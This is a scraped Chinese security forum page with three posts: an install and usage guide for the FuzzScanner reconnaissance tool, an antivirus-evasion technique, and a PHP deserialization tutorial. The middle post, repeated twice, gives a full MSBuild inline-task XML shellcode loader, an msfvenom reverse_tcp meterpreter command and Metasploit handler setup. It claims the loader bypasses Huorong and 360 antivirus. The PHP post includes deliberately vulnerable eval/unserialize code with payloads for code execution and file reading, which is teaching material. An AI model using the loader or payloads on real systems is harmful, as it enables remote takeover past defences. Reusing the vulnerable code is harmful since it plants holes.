从github上面拖下来
git clone [url]https://github.com/TideSec/FuzzScanner[/url]




如果你没有安装git,请参考https://www.jianshu.com/p/df607885cfd0
由于该命令时提示无法找到https://github.com/TideSec/FuzzScanner
解决方法:直接输入以下命令
git clone git://github.com/TideSec/FuzzScanner

 
 
 
 安装requirements.txt依赖
pip install -r requirements.txt
该命令必须在刚才克隆的fuzzscanner运行,否则会出现找不到requirements.txt
使用pip命令前提该linux系统必须带有python环境,有时运行pip命令是会出现报错
请参考https://blog.csdn.net/lkgCSDN/article/details/84403329进行配置
 
安装ruby环境,以便运行whatweb
sudo yum install ruby    # CentOS, Fedora, 或 RHEL 系统
sudo apt-get install ruby-full # Debian 或 Ubuntu 系统

 
安装namp
yum install nmap  # CentOS, Fedora, 或 RHEL 系统
apt-get install nmap # Debian 或 Ubuntu 系统

运行脚本,因为调用nmap需要root权限,所以需要sudo。
sudo python FuzzScanner.py

直到此处安装完成(本人在centos6.5下按照上述方法安装,到最后一步会出现fuzzscanner.py脚本语法错误,去
https://github.com/TideSec/FuzzScanner
发现代码一模一样。一直没找到解决方法,所有不建议选择常规安装)
 
2.使用docker镜像安装(linux,windows均可以)
本人在centos7上安装的docker,安装docker请参考文章https://www.runoob.com/docker/centos-docker-install.html
windows下安装docker请参考https://www.runoob.com/docker/windows-docker-install.html 
备注:(在windows下安装docker必须开启Hyper-V,这个操作会导致VMware无法运行,所有不建议在Windows下安装docker)
安装完成后从阿里云上使用docker命令pull下来
docker pull registry.cn-hangzhou.aliyuncs.com/secplus/tide-fuzzscanner:1.0
使用docker images查看docker镜像信息
docker images



创建docker并进入docker
docker run --name fuzzscanner -t -i 52341fc71d0a /bin/bash
执行fuzzscanner
cd /root/FuzzScanner/
python FuzzScanner.py
使用方法
python FuzzScanner.py -hc target.com         -->  domain && web finger && Dir scan && C scan 
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段扫描

python FuzzScanner.py -Hc vuln_domains.txt --> domain && web finger && Dir scan && C scan
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段扫描

python FuzzScanner.py -hca target.com --> domain && web finger && Dir scan && C scan && C allport
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段全端口扫描

python FuzzScanner.py -Hca vuln_domains.txt --> domain && web finger && Dir scan && C scan && C allport
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段全端口扫描

python FuzzScanner.py -h target.com --> domain && web finger && Dir scan
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举

python FuzzScanner.py -H vuln_domains.txt --> domain && web finger && Dir scan
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举

python FuzzScanner.py -c 192.168.1.1 --> C scan
设置单个IP,进行C段地址探测

python FuzzScanner.py -cd 192.168.1.1 --> C scan && Dir scan
设置单个IP,进行C段地址探测并对web服务进行目录枚举

python FuzzScanner.py -C vuln_ip.txt --> C scan
从文件读取单个或多个目标IP地址,进行C段地址探测

python FuzzScanner.py -Cd vuln_ip.txt --> C scan && Dir scan
从文件读取单个或多个目标IP地址,进行C段地址探测并对web服务进行目录枚举

python FuzzScanner.py -ca 192.168.1.1 --> C scan && C allport
设置单个IP,进行C段地址探测和全端口扫描

python FuzzScanner.py -Ca vuln_ip.txt --> C scan && C allport
从文件读取单个或多个目标IP地址,进行C段地址探测和全端口扫描

 
上述为第一次运行该脚本命令,关闭后再次启用该docker镜像命令如下
[root@localhost ~]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
registry.cn-hangzhou.aliyuncs.com/secplus/tide-fuzzscanner 1.0 52341fc71d0a 8 months ago 1.36GB
hello-world latest fce289e99eb9 11 months ago 1.84kB



ot@localhost ~]# docker run -i -t 52341fc71d0a /bin/bash
[root@69d9e2dd7b57 /]#



[root@69d9e2dd7b57 /]# cd /root/FuzzScanner/
[root@69d9e2dd7b57 FuzzScanner]#



[root@69d9e2dd7b57 FuzzScanner]# python FuzzScanner.py 

python FuzzScanner.py -hc target.com --> domain && web finger && Dir scan && C scan
python FuzzScanner.py -Hc vuln_domains.txt --> domain && web finger && Dir scan && C scan
python FuzzScanner.py -hca target.com --> domain && web finger && Dir scan && C scan && C allport
python FuzzScanner.py -Hca vuln_domains.txt --> domain && web finger && Dir scan && C scan && C allport
python FuzzScanner.py -h target.com --> domain && web finger && Dir scan
python FuzzScanner.py -H vuln_domains.txt --> domain && web finger && Dir scan
python FuzzScanner.py -c 192.168.1.1 --> C scan
python FuzzScanner.py -cd 192.168.1.1 --> C scan && Dir scan
python FuzzScanner.py -C vuln_ip.txt --> C scan
python FuzzScanner.py -Cd vuln_ip.txt --> C scan && Dir scan
python FuzzScanner.py -ca 192.168.1.1 --> C scan && C allport
python FuzzScanner.py -Ca vuln_ip.txt --> C scan && C allport




如果运行docker时出现
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
输入以下命令
$ systemctl daemon-reload
$ sudo service docker restart
$ sudo service docker status (should see active (running))
$ sudo docker run hello-world

 
Fuzzscanner主要功能及原理介绍
子域名枚举
当输入目标站点域名后,会使用以下4种方式进行子域名的枚举
1、百度链接爬取,会使用site:xxx.com为关键字爬取所有子域名;
2、网站友链爬取,会对自身3层链接目录进行爬取,搜集子域名;
3、本利想对chaxunla、aizhan之类的子域名查询接口进行查询,后来发现猪猪侠的wydomain已经实现了这个功能,就直接调用了wydomain;
4、使用了subdomains进行子域名的暴力枚举
端口扫描
端口扫描和指纹获取主要依赖于nmap
1、首先根据参数设置情况判断是全端口扫描还是部分端口扫描;
2、如果扫描目标是网站地址,会根据目标开放的端口进行指纹获取,如果某端口服务为web服务,还会继续进行web指纹的获取;
3、如果扫描目标是ip地址或地址段,会先试用pynamp进行存活主机判断,然后使用socket端口探测的方式探测存活主机,然后再使用nmap进行端口的扫描和指纹的获取。
指纹识别
主要调用了whatweb、wafw00f、whatcms等进行了web指纹的识别
1、当扫描web地址或探测到某端口为web服务时,会使用whatweb探测该站点信息,提取关键字段;
2、使用了wafw00f来探测是否存在waf,这样对有waf的不太好啃的站点可以暂时放弃;
3、对web站点进行了目录枚举,可能直接发行管理后台地址或备份文件等。
其他功能
在一些c段主机扫描、目录枚举、可能存在的威胁页面等方面进行了判断。
1、在扫描子域名时会解析其ip地址,并把改ip地址作为目标系统的C段地址,如设置了c段扫描的参数时会自动扫描其c段地址;
2、当扫描web地址或探测到某端口为web服务时,会自动进行了web指纹探测,并调用dirsearch进行目录枚举;
3、在检测到端口或Url地址中存在可能的漏洞点时,会输出到vulnerable.txt,比如.action及其他一些动态页面时。
结果保存
由于这些扫描结果需要后续人工逐个测试,为了方便就直接保存了txt,未保存数据库。
扫描完成后的结果保存log目录,最主要的就是该站点log根目录下的几个txt文档,比如下图中的vipshop.com-sub_info.txt、vipshop.com-domain.txt、vipshop.com-c_ip.txt、vipshop.com-c_ip_info.txt等。
1、sub目录下为各子站点的各相应详细信息,方便回溯;
2、spider是对各目标系统的爬虫记录,并区分了动态链接、外部链接等;
3、domain目录是wydomain、subdomians等的子域名记录;
4、c_ip目录为ip地址扫描的相关信息;
保存的主要结果
 
以vipshop.com和guazi.com为例,保存了网站信息、网站标题、中间件信息、waf信息、端口信息、目录扫描信息等等。
 
注意事项
1、在扫描c段时,如果选择了全端口扫描,速度会比较慢,但可能会有惊喜。适合有个服务器放上面慢慢跑。
2、如果选择了目录枚举,可能速度也会比较慢,目录枚举是直接用的dirsearch,在启用该功能后当发现某端口为web服务时就会调用dirsearch。
 
 
备注:文章转载自:https://www.freebuf.com/sectool/200344.html
 

基于白名单Msbuild.exe执行payload

ypk 发表了文章 • 0 个评论 • 583 次浏览 • 2019-11-28 15:38 • 来自相关话题

0x01 简介
Microsoft Build Engine是一个用于构建应用程序的平台。此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。。
Visual Studio使用MSBuild加载和生成托管项目。Visual Studio中的项目文件(.csproj,  .vbproj,  .vcxproj和其他)包含MSBuild XML代码
说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法识别
路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319
 
0x02 适用条件
.NET Framework>=4.0
 
0x03 攻击方法
1.首先使用msf生成一个c#的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=xx -f csharp





 
msf生产的代码替换原始代码的内容(源码放在最下面了)
 





buf 替换成 shellcode(细节)
kali设置监听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT xx
exploit




 
靶机执行文件
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe xx.xml










 
0x04 xx.xml
payload
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>

<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[179779] {
这里是msf生成的c# shellcode
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>


 
0x05测试结果
普通用户权限也能执行
.csproj,  .vbproj,  .vcxproj后缀也可用
火绒、360可绕过
 
 
 
  查看全部
0x01 简介
Microsoft Build Engine是一个用于构建应用程序的平台。此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。。
Visual Studio使用MSBuild加载和生成托管项目。Visual Studio中的项目文件(.csproj,  .vbproj,  .vcxproj和其他)包含MSBuild XML代码
说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法识别
路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319
 
0x02 适用条件
.NET Framework>=4.0
 
0x03 攻击方法
1.首先使用msf生成一个c#的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=xx -f csharp

msf.png

 
msf生产的代码替换原始代码的内容(源码放在最下面了)
 

替换.png

buf 替换成 shellcode(细节)
kali设置监听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT xx
exploit
监听.png

 
靶机执行文件
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe xx.xml

win执行.png


成功.png

 
0x04 xx.xml
payload
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>

<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[179779] {
这里是msf生成的c# shellcode
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>


 
0x05测试结果
普通用户权限也能执行
.csproj,  .vbproj,  .vcxproj后缀也可用
火绒、360可绕过
 
 
 
 

初识php反序列化漏洞

lzy_smile 发表了文章 • 0 个评论 • 408 次浏览 • 2019-11-22 01:53 • 来自相关话题

0x01  php序列化和反序列化
什么是序列化和反序列化?
        在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构.
        常见的用法有,我们在写了一个class类之后,实例化这个class类之后,我们可以把这个对象给序列化了,当成一个字符串给存储起来,当我们如果再用这个对象时,使用反序列化函数将这个字符串里面的值给还原成该对象,这样当程序很大的时候可以轻松的存储和传递数据,并且不会浪费系统资源.

        序列化说通俗点就是把一个对象变成可以传输的字符串.
        反序列化就是把那串可以传输的字符串再变回对象.
 
好的,这里我举个栗子!!!
        我创建了一个student的类,类中呢,有姓名,性别,年龄三个属性,我们现在去实例化这个类,生产一个对象,如何将这个对象序列化呢?序列化输出又是什么格式呢?
定义student类




然后输出一波序列化格式,红色部分是对序列化输出的解释!




ok!可以看到反序列化输出的结果明显有所不同,






0x02  php反序列化漏洞危害及满足条件
php反序列化漏洞是什么?危害有多大?
       未对用户输入的序列化字符串进行检测,而且在反序列化的过程中自动触发了某些魔术方法,导致攻击者可以控制反序列化过程,从而导致代码执行,目录遍历,getshell等不可控后果。
 php反序列化漏洞需满足:
    1、程序中存在序列化字符串的输入点
    2、程序中存在可以利用的magic函数
 
0x03  php反序列化漏洞原理及简单利用
 当我们在反序列化后,为什么就能产生漏洞了呢?
        这个时候,我们就要了解一下PHP里面的魔术方法了,魔术方法一般是以__开头,通常会因为某些条件而触发不用我们手动调用.
当一个页面发现传递参数类似对象序列化的数据格式,可以测试是否存在反序列化漏洞,
当我们拿到一份源代码时,看看有没有下列的魔术方法,尝试研究有没有可以控制的参数并且能够把参数放入魔术方法中:

__construct()   // 当一个对象创建时被调用,
__destruct()    // 当一个对象销毁时被调用,
__toString()    // 当一个对象被当作一个字符串被调用。
__wakeup()      // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep()       // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__call()        // 在对象上下文中调用不可访问的方法时触发
__callStatic()  // 在静态上下文中调用不可访问的方法时触发
__get()         // 用于从不可访问的属性读取数据
__set()         // 用于将数据写入不可访问的属性
__isset()       // 在不可访问的属性上调用isset()或empty()触发
__unset()       // 在不可访问的属性上使用unset()时触发
__invoke()      // 当脚本尝试将对象调用为函数时触发

      如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
我们同样关注的函数:
    序列化函数:serialize()
    反序列化函数:unserialize()

举两个栗子!!!<?php
header('Content-type: text/html; charset=UTF-8');
class Example {
public $a = "test";
function __destruct() {
eval($this->a);
}
}
unserialize($_GET['a']);
?> 我们可以看到在这个类中有一个魔术方法__destruct(),可以在销毁的时候自动的将反序列化传入的字符串当成代码块执行!
构造payload:http://127.0.0.1/php_sea/test_3.php?a=O:7:"Example":1:{s:1:"a";s:10:"phpinfo();";}
可以看到:





 
这个点恰巧有eval()函数,而且存在魔术方法,并且我们可以对对象里面的参数进行控制,才得以实现.如果没有eval(0函数时我们可以干些什么呢?如果有一个类是读取文件的类呢?
假设这个参数我们可以控制<?php
header('Content-type: text/html; charset=UTF-8');
//可以读取文库
class FileClass
{
public $filename = 'success.txt';
public function __toString()
{
# 读取文件函数
return file_get_contents($this->filename);
}
}
//定义一个usr类
class User
{
public $name = '';
public $age = 0;
public $addr = '';

public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_GET['a']);
echo $obj;

?>我们正常的时候是使用user这个类,如果发现传入的参数类似一个序列化数组时,我们可以尝试修改里面的参数看看是否可变!





修改参数





参数可变!!!
我们可以看到源代码中有读取文件的函数我们可以尝试构造恶意代码来进行文件读取.
payload:O:9:"FileClass":1:{s:8:"filename";s:10:"test_2.php";}
可以看到





文件读取成功!!!
 
所以当我们拿到一份php源代码时,尽可能的去寻找类中的构造函数,看看这些构造函数中是否有可以控制的参数,是否有可以利用的magic函数,这样能够快速的帮助我们进行渗透.

0x04 后记
       因为是对php反序列化的初步认识,所以只是总结了一个php反序列化基本常识,以及利用手法,下一步会进一步学习代码,增强自己的代码水平,去研究如何寻找pop链,更快的挖掘php反序列化漏洞.
        php反序列化漏洞主要就是寻找它的pop链,看在这个代码调用过程中是否有可以控制的参数,以及可以利用的magic方法
        pop指什么:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
 
         
 
 
 
  查看全部
0x01  php序列化和反序列化
什么是序列化和反序列化?
        在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构.
        常见的用法有,我们在写了一个class类之后,实例化这个class类之后,我们可以把这个对象给序列化了,当成一个字符串给存储起来,当我们如果再用这个对象时,使用反序列化函数将这个字符串里面的值给还原成该对象,这样当程序很大的时候可以轻松的存储和传递数据,并且不会浪费系统资源.

        序列化说通俗点就是把一个对象变成可以传输的字符串.
        反序列化就是把那串可以传输的字符串再变回对象.
 
好的,这里我举个栗子!!!
        我创建了一个student的类,类中呢,有姓名,性别,年龄三个属性,我们现在去实例化这个类,生产一个对象,如何将这个对象序列化呢?序列化输出又是什么格式呢?
定义student类
1.png

然后输出一波序列化格式,红色部分是对序列化输出的解释!
2.png

ok!可以看到反序列化输出的结果明显有所不同,

8.png


0x02  php反序列化漏洞危害及满足条件
php反序列化漏洞是什么?危害有多大?
       未对用户输入的序列化字符串进行检测,而且在反序列化的过程中自动触发了某些魔术方法,导致攻击者可以控制反序列化过程,从而导致代码执行,目录遍历,getshell等不可控后果。
 php反序列化漏洞需满足:
    1、程序中存在序列化字符串的输入点
    2、程序中存在可以利用的magic函数
 
0x03  php反序列化漏洞原理及简单利用
 当我们在反序列化后,为什么就能产生漏洞了呢?
        这个时候,我们就要了解一下PHP里面的魔术方法了,魔术方法一般是以__开头,通常会因为某些条件而触发不用我们手动调用.
当一个页面发现传递参数类似对象序列化的数据格式,可以测试是否存在反序列化漏洞,
当我们拿到一份源代码时,看看有没有下列的魔术方法,尝试研究有没有可以控制的参数并且能够把参数放入魔术方法中:

__construct()   // 当一个对象创建时被调用,
__destruct()    // 当一个对象销毁时被调用,
__toString()    // 当一个对象被当作一个字符串被调用。
__wakeup()      // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep()       // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__call()        // 在对象上下文中调用不可访问的方法时触发
__callStatic()  // 在静态上下文中调用不可访问的方法时触发
__get()         // 用于从不可访问的属性读取数据
__set()         // 用于将数据写入不可访问的属性
__isset()       // 在不可访问的属性上调用isset()或empty()触发
__unset()       // 在不可访问的属性上使用unset()时触发
__invoke()      // 当脚本尝试将对象调用为函数时触发

      如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
我们同样关注的函数:
    序列化函数:serialize()
    反序列化函数:unserialize()

举两个栗子!!!
<?php
header('Content-type: text/html; charset=UTF-8');
class Example {
public $a = "test";
function __destruct() {
eval($this->a);
}
}
unserialize($_GET['a']);
?> 
我们可以看到在这个类中有一个魔术方法__destruct(),可以在销毁的时候自动的将反序列化传入的字符串当成代码块执行!
构造payload:http://127.0.0.1/php_sea/test_3.php?a=O:7:"Example":1:{s:1:"a";s:10:"phpinfo();";}
可以看到:

4.png

 
这个点恰巧有eval()函数,而且存在魔术方法,并且我们可以对对象里面的参数进行控制,才得以实现.如果没有eval(0函数时我们可以干些什么呢?如果有一个类是读取文件的类呢?
假设这个参数我们可以控制
<?php
header('Content-type: text/html; charset=UTF-8');
//可以读取文库
class FileClass
{
public $filename = 'success.txt';
public function __toString()
{
# 读取文件函数
return file_get_contents($this->filename);
}
}
//定义一个usr类
class User
{
public $name = '';
public $age = 0;
public $addr = '';

public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_GET['a']);
echo $obj;

?>
我们正常的时候是使用user这个类,如果发现传入的参数类似一个序列化数组时,我们可以尝试修改里面的参数看看是否可变!

5.png

修改参数

6.png

参数可变!!!
我们可以看到源代码中有读取文件的函数我们可以尝试构造恶意代码来进行文件读取.
payload:O:9:"FileClass":1:{s:8:"filename";s:10:"test_2.php";}
可以看到

7.png

文件读取成功!!!
 
所以当我们拿到一份php源代码时,尽可能的去寻找类中的构造函数,看看这些构造函数中是否有可以控制的参数,是否有可以利用的magic函数,这样能够快速的帮助我们进行渗透.

0x04 后记
       因为是对php反序列化的初步认识,所以只是总结了一个php反序列化基本常识,以及利用手法,下一步会进一步学习代码,增强自己的代码水平,去研究如何寻找pop链,更快的挖掘php反序列化漏洞.
        php反序列化漏洞主要就是寻找它的pop链,看在这个代码调用过程中是否有可以控制的参数,以及可以利用的magic方法
        pop指什么:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。